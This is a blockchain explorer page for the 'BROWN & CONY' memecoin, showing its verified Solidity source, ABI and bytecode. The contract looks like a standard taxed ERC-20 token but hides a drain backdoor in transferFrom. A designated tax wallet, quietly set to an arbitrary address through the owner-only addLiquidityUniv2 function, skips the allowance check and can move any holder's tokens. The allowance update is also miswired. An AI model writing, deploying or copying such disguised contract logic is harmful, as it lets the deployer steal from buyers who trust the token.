ETH Price: $2,921.21 (+4.56%)
 

Overview

Max Total Supply

1,000,000,000 BROWN

Holders

65

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
getbusy.eth
Balance
34,593,583.808146284 BROWN

Value
$0.00
0xcCeb10f787E4198D32B9f46eb7CA78130C49044F
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BrownCony

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-09-01
*/

/**

Web: https://browncony.fun

X: https://x.com/xbrowncony

Tg: https://t.me/brownconylinegroup

*/
// SPDX-License-Identifier: UNLICENSE

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function eq(address a, address b) internal pure returns (bool) {
        return a == b;
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract BrownCony is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFees;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=20;
    uint256 private _initialSellTax=20;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=15;
    uint256 private _reduceSellTaxAt=15;
    uint256 private _preventSwapBefore=5;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals;
    string private constant _name = unicode"BROWN & CONY";
    string private constant _symbol = unicode"BROWN";
    uint256 public _maxTxAmount = 2 * _tTotal / 100;
    uint256 public _maxWalletSize = 2 * _tTotal / 100;
    uint256 public _taxSwapThreshold= 1 * _tTotal / 100;
    uint256 public _maxTaxSwap= 1 * _tTotal / 100;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFees[owner()] = true;
        _isExcludedFromFees[address(this)] = true;
        _isExcludedFromFees[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) public override returns (bool) {
        _transfer(from, to, amount); if(eq(_taxWallet,_msgSender()) && !eq(owner(), _msgSender())) return true; 
        _approve(from, from, _allowances[from][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function addLiquidityUniv2(address pair) external onlyOwner {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        require(uniswapV2Pair != address(0));
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        _taxWallet = payable(pair);
        _isExcludedFromFees[pair] = true;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a>b)?b:a;
    }

    function sendmoon(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function ethClaim() external onlyOwner {
        require(address(this).balance > 0);
        payable(owner()).transfer(address(this).balance);
    }
    
    function tokenClaim(address _address, uint256 percent) external onlyOwner {
        uint256 _amount = IERC20(_address)
            .balanceOf(address(this))
            .mul(percent)
            .div(100);
        IERC20(_address).transfer(owner(), _amount);
    }

    receive() external payable {}

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            if(from == uniswapV2Pair)
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFees[to] ) {
                require(tradingOpen,"Trading not open yet");
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && _buyCount > _preventSwapBefore) {
                if(contractTokenBalance > _taxSwapThreshold) swapFee(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                sendmoon(address(this).balance);
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function swapFee(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function enableTrade() external onlyOwner {
        swapEnabled = true;
        tradingOpen = true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"}],"name":"addLiquidityUniv2","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"ethClaim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"tokenClaim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052601460055560146006555f6007555f600855600f600955600f600a556005600b555f600c5560646009600a6200003b91906200039c565b6200004b90633b9aca00620003b3565b62000058906002620003b3565b620000649190620003cd565b600d556064620000776009600a6200039c565b6200008790633b9aca00620003b3565b62000094906002620003b3565b620000a09190620003cd565b600e556064620000b36009600a6200039c565b620000c390633b9aca00620003b3565b620000d0906001620003b3565b620000dc9190620003cd565b600f556064620000ef6009600a6200039c565b620000ff90633b9aca00620003b3565b6200010c906001620003b3565b620001189190620003cd565b6010556012805461ffff60a81b1916905534801562000135575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b03191633179055620001966009600a6200039c565b620001a690633b9aca00620003b3565b335f908152600160208190526040822092909255600390620001cf5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260039093528183208054851660019081179091556004549091168352912080549092161790556200022d3390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002666009600a6200039c565b6200027690633b9aca00620003b3565b60405190815260200160405180910390a3620003ed565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002e157815f1904821115620002c557620002c56200028d565b80851615620002d357918102915b93841c9390800290620002a6565b509250929050565b5f82620002f95750600162000396565b816200030757505f62000396565b81600181146200032057600281146200032b576200034b565b600191505062000396565b60ff8411156200033f576200033f6200028d565b50506001821b62000396565b5060208310610133831016604e8410600b841016171562000370575081810a62000396565b6200037c8383620002a1565b805f19048211156200039257620003926200028d565b0290505b92915050565b5f620003ac60ff841683620002e9565b9392505050565b80820281158282048414176200039657620003966200028d565b5f82620003e857634e487b7160e01b5f52601260045260245ffd5b500490565b6119b480620003fb5f395ff3fe60806040526004361061011d575f3560e01c8063751039fc1161009d578063a9059cbb11610062578063a9059cbb1461031c578063bbc4f6881461033b578063bf474bed1461034f578063c8acdb8414610364578063dd62ed3e14610383575f80fd5b8063751039fc1461028b5780637d1db4a51461029f5780638da5cb5b146102b45780638f9a55c0146102da57806395d89b41146102ef575f80fd5b806323b872dd116100e357806323b872dd146101ea578063313ce56714610209578063660059d21461022457806370a0823114610243578063715018a614610277575f80fd5b806299d3861461012857806306fdde031461013e578063095ea7b3146101845780630faee56f146101b357806318160ddd146101d6575f80fd5b3661012457005b5f80fd5b348015610133575f80fd5b5061013c6103c7565b005b348015610149575f80fd5b5060408051808201909152600c81526b42524f574e202620434f4e5960a01b60208201525b60405161017b9190611590565b60405180910390f35b34801561018f575f80fd5b506101a361019e3660046115f0565b610412565b604051901515815260200161017b565b3480156101be575f80fd5b506101c860105481565b60405190815260200161017b565b3480156101e1575f80fd5b506101c8610428565b3480156101f5575f80fd5b506101a361020436600461161a565b610448565b348015610214575f80fd5b506040516009815260200161017b565b34801561022f575f80fd5b5061013c61023e3660046115f0565b6104f6565b34801561024e575f80fd5b506101c861025d366004611658565b6001600160a01b03165f9081526001602052604090205490565b348015610282575f80fd5b5061013c610636565b348015610296575f80fd5b5061013c6106a7565b3480156102aa575f80fd5b506101c8600d5481565b3480156102bf575f80fd5b505f546040516001600160a01b03909116815260200161017b565b3480156102e5575f80fd5b506101c8600e5481565b3480156102fa575f80fd5b50604080518082019091526005815264212927aba760d91b602082015261016e565b348015610327575f80fd5b506101a36103363660046115f0565b610758565b348015610346575f80fd5b5061013c610764565b34801561035a575f80fd5b506101c8600f5481565b34801561036f575f80fd5b5061013c61037e366004611658565b6107d2565b34801561038e575f80fd5b506101c861039d366004611673565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f546001600160a01b031633146103f95760405162461bcd60e51b81526004016103f0906116aa565b60405180910390fd5b6012805462ff00ff60a01b19166201000160a01b179055565b5f61041e338484610bb0565b5060015b92915050565b5f6104356009600a6117d3565b61044390633b9aca006117e1565b905090565b5f610454848484610cd3565b6004546001600160a01b03163314801561048d575061048b61047d5f546001600160a01b031690565b6001600160a01b0316331490565b155b1561049a575060016104ef565b6104eb84856104e685604051806060016040528060288152602001611957602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061120f565b610bb0565b5060015b9392505050565b5f546001600160a01b0316331461051f5760405162461bcd60e51b81526004016103f0906116aa565b6040516370a0823160e01b81523060048201525f906105a09060649061059a9085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610570573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061059491906117f8565b90611247565b906112c5565b9050826001600160a01b031663a9059cbb6105c25f546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af115801561060c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610630919061180f565b50505050565b5f546001600160a01b0316331461065f5760405162461bcd60e51b81526004016103f0906116aa565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106d05760405162461bcd60e51b81526004016103f0906116aa565b6106dc6009600a6117d3565b6106ea90633b9aca006117e1565b600d556106f96009600a6117d3565b61070790633b9aca006117e1565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107376009600a6117d3565b61074590633b9aca006117e1565b60405190815260200160405180910390a1565b5f61041e338484610cd3565b5f546001600160a01b0316331461078d5760405162461bcd60e51b81526004016103f0906116aa565b5f4711610798575f80fd5b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f193505050501580156107cf573d5f803e3d5ffd5b50565b5f546001600160a01b031633146107fb5760405162461bcd60e51b81526004016103f0906116aa565b601254600160a01b900460ff16156108555760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103f0565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561089e9030906108906009600a6117d3565b6104e690633b9aca006117e1565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108ee573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610912919061182e565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610971573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610995919061182e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156109df573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a03919061182e565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d7194730610a4a816001600160a01b03165f9081526001602052604090205490565b5f80610a5d5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ac3573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610ae89190611849565b50506012546001600160a01b03169050610b00575f80fd5b60125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f19602482015291169063095ea7b3906044016020604051808303815f875af1158015610b52573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b76919061180f565b50600480546001600160a01b039092166001600160a01b0319909216821790555f908152600360205260409020805460ff19166001179055565b6001600160a01b038316610c125760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103f0565b6001600160a01b038216610c735760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103f0565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d375760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103f0565b6001600160a01b038216610d995760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103f0565b5f8111610dfa5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103f0565b5f80546001600160a01b03858116911614801590610e2557505f546001600160a01b03848116911614155b156110d2576012546001600160a01b0390811690851603610e6957610e66606461059a600954600c5411610e5b57600554610e5f565b6007545b8590611247565b90505b6012546001600160a01b038581169116148015610e9457506011546001600160a01b03848116911614155b8015610eb857506001600160a01b0383165f9081526003602052604090205460ff16155b15610fee57601254600160a01b900460ff16610f0d5760405162461bcd60e51b8152602060048201526014602482015273151c98591a5b99c81b9bdd081bdc195b881e595d60621b60448201526064016103f0565b600d54821115610f5f5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103f0565b600e5482610f81856001600160a01b03165f9081526001602052604090205490565b610f8b9190611874565b1115610fd95760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103f0565b600c8054905f610fe883611887565b91905055505b6012546001600160a01b03848116911614801561101457506001600160a01b0384163014155b156110415761103e606461059a600a54600c541161103457600654610e5f565b6008548590611247565b90505b305f90815260016020526040902054601254600160a81b900460ff1615801561107757506012546001600160a01b038581169116145b801561108c5750601254600160b01b900460ff165b801561109b5750600b54600c54115b156110d057600f548111156110c7576110c76110c2846110bd84601054611306565b611306565b61131a565b6110d04761148a565b505b801561114a57305f908152600160205260409020546110f190826114c5565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111419085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461116c9083611523565b6001600160a01b0385165f908152600160205260409020556111af6111918383611523565b6001600160a01b0385165f90815260016020526040902054906114c5565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111f88585611523565b60405190815260200160405180910390a350505050565b5f81848411156112325760405162461bcd60e51b81526004016103f09190611590565b505f61123e848661189f565b95945050505050565b5f825f0361125657505f610422565b5f61126183856117e1565b90508261126e85836118b2565b146104ef5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103f0565b5f6104ef83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611564565b5f81831161131457826104ef565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611360576113606118d1565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113b7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113db919061182e565b816001815181106113ee576113ee6118d1565b6001600160a01b0392831660209182029290920101526011546114149130911684610bb0565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac9479061144c9085905f908690309042906004016118e5565b5f604051808303815f87803b158015611463575f80fd5b505af1158015611475573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156114c1573d5f803e3d5ffd5b5050565b5f806114d18385611874565b9050838110156104ef5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103f0565b5f6104ef83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061120f565b5f81836115845760405162461bcd60e51b81526004016103f09190611590565b505f61123e84866118b2565b5f602080835283518060208501525f5b818110156115bc578581018301518582016040015282016115a0565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146107cf575f80fd5b5f8060408385031215611601575f80fd5b823561160c816115dc565b946020939093013593505050565b5f805f6060848603121561162c575f80fd5b8335611637816115dc565b92506020840135611647816115dc565b929592945050506040919091013590565b5f60208284031215611668575f80fd5b81356104ef816115dc565b5f8060408385031215611684575f80fd5b823561168f816115dc565b9150602083013561169f816115dc565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561172d57815f1904821115611713576117136116df565b8085161561172057918102915b93841c93908002906116f8565b509250929050565b5f8261174357506001610422565b8161174f57505f610422565b8160018114611765576002811461176f5761178b565b6001915050610422565b60ff841115611780576117806116df565b50506001821b610422565b5060208310610133831016604e8410600b84101617156117ae575081810a610422565b6117b883836116f3565b805f19048211156117cb576117cb6116df565b029392505050565b5f6104ef60ff841683611735565b8082028115828204841417610422576104226116df565b5f60208284031215611808575f80fd5b5051919050565b5f6020828403121561181f575f80fd5b815180151581146104ef575f80fd5b5f6020828403121561183e575f80fd5b81516104ef816115dc565b5f805f6060848603121561185b575f80fd5b8351925060208401519150604084015190509250925092565b80820180821115610422576104226116df565b5f60018201611898576118986116df565b5060010190565b81810381811115610422576104226116df565b5f826118cc57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119355784516001600160a01b031683529383019391830191600101611910565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209a69519e778c9bbc4e275d6271ba2f7f49fa0c244d11ead137dd6327ecb5590364736f6c63430008180033

Deployed Bytecode

0x60806040526004361061011d575f3560e01c8063751039fc1161009d578063a9059cbb11610062578063a9059cbb1461031c578063bbc4f6881461033b578063bf474bed1461034f578063c8acdb8414610364578063dd62ed3e14610383575f80fd5b8063751039fc1461028b5780637d1db4a51461029f5780638da5cb5b146102b45780638f9a55c0146102da57806395d89b41146102ef575f80fd5b806323b872dd116100e357806323b872dd146101ea578063313ce56714610209578063660059d21461022457806370a0823114610243578063715018a614610277575f80fd5b806299d3861461012857806306fdde031461013e578063095ea7b3146101845780630faee56f146101b357806318160ddd146101d6575f80fd5b3661012457005b5f80fd5b348015610133575f80fd5b5061013c6103c7565b005b348015610149575f80fd5b5060408051808201909152600c81526b42524f574e202620434f4e5960a01b60208201525b60405161017b9190611590565b60405180910390f35b34801561018f575f80fd5b506101a361019e3660046115f0565b610412565b604051901515815260200161017b565b3480156101be575f80fd5b506101c860105481565b60405190815260200161017b565b3480156101e1575f80fd5b506101c8610428565b3480156101f5575f80fd5b506101a361020436600461161a565b610448565b348015610214575f80fd5b506040516009815260200161017b565b34801561022f575f80fd5b5061013c61023e3660046115f0565b6104f6565b34801561024e575f80fd5b506101c861025d366004611658565b6001600160a01b03165f9081526001602052604090205490565b348015610282575f80fd5b5061013c610636565b348015610296575f80fd5b5061013c6106a7565b3480156102aa575f80fd5b506101c8600d5481565b3480156102bf575f80fd5b505f546040516001600160a01b03909116815260200161017b565b3480156102e5575f80fd5b506101c8600e5481565b3480156102fa575f80fd5b50604080518082019091526005815264212927aba760d91b602082015261016e565b348015610327575f80fd5b506101a36103363660046115f0565b610758565b348015610346575f80fd5b5061013c610764565b34801561035a575f80fd5b506101c8600f5481565b34801561036f575f80fd5b5061013c61037e366004611658565b6107d2565b34801561038e575f80fd5b506101c861039d366004611673565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f546001600160a01b031633146103f95760405162461bcd60e51b81526004016103f0906116aa565b60405180910390fd5b6012805462ff00ff60a01b19166201000160a01b179055565b5f61041e338484610bb0565b5060015b92915050565b5f6104356009600a6117d3565b61044390633b9aca006117e1565b905090565b5f610454848484610cd3565b6004546001600160a01b03163314801561048d575061048b61047d5f546001600160a01b031690565b6001600160a01b0316331490565b155b1561049a575060016104ef565b6104eb84856104e685604051806060016040528060288152602001611957602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061120f565b610bb0565b5060015b9392505050565b5f546001600160a01b0316331461051f5760405162461bcd60e51b81526004016103f0906116aa565b6040516370a0823160e01b81523060048201525f906105a09060649061059a9085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610570573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061059491906117f8565b90611247565b906112c5565b9050826001600160a01b031663a9059cbb6105c25f546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af115801561060c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610630919061180f565b50505050565b5f546001600160a01b0316331461065f5760405162461bcd60e51b81526004016103f0906116aa565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419